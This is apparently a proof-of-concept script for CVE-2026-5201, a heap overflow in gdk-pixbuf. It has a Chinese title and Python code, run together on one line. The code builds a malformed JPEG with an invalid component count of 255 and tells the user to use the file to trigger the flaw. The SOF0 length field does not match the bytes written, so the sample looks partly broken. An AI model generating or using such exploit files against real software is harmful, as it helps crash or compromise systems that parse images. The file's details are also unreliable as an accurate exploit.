CVE-2026-5201 gdk-pixbuf堆溢出漏洞

import struct # PoC for CVE-2026-5201: gdk-pixbuf Heap Overflow # This script generates a malformed JPEG file with invalid color components. def generate_malformed_jpeg(filename): # JPEG Start of Image (SOI) marker jpeg_data = b'\xff\xd8' # Start of Frame (SOF0) marker - Baseline DCT jpeg_data += b'\xff\xc0' # Length field (includes length field itself but not marker) # Standard SOF0 length is 8 + 3 * components. # We construct a length that might confuse the parser if component count is invalid. jpeg_data += struct.pack('>H', 11) jpeg_data += b'\x08' # Precision (8 bits per sample) jpeg_data += struct.pack('>H', 100) # Image Height jpeg_data += struct.pack('>H', 100) # Image Width # Number of components (Nf). Valid values are usually 1 (Grayscale) or 3 (YCbCr). # The vulnerability is triggered by improper validation of this value. # Setting a high value (e.g., 255) can cause the buffer overflow during processing. jpeg_data += b'\xff' # Invalid number of components # End of Image (EOI) marker jpeg_data += b'\xff\xd9' with open(filename, 'wb') as f: f.write(jpeg_data) print(f"[+] Malformed JPEG generated: {filename}") print("[+] Use this file to trigger the vulnerability in a vulnerable gdk-pixbuf version.") if __name__ == "__main__": generate_malformed_jpeg("cve_2026_5201_poc.jpg")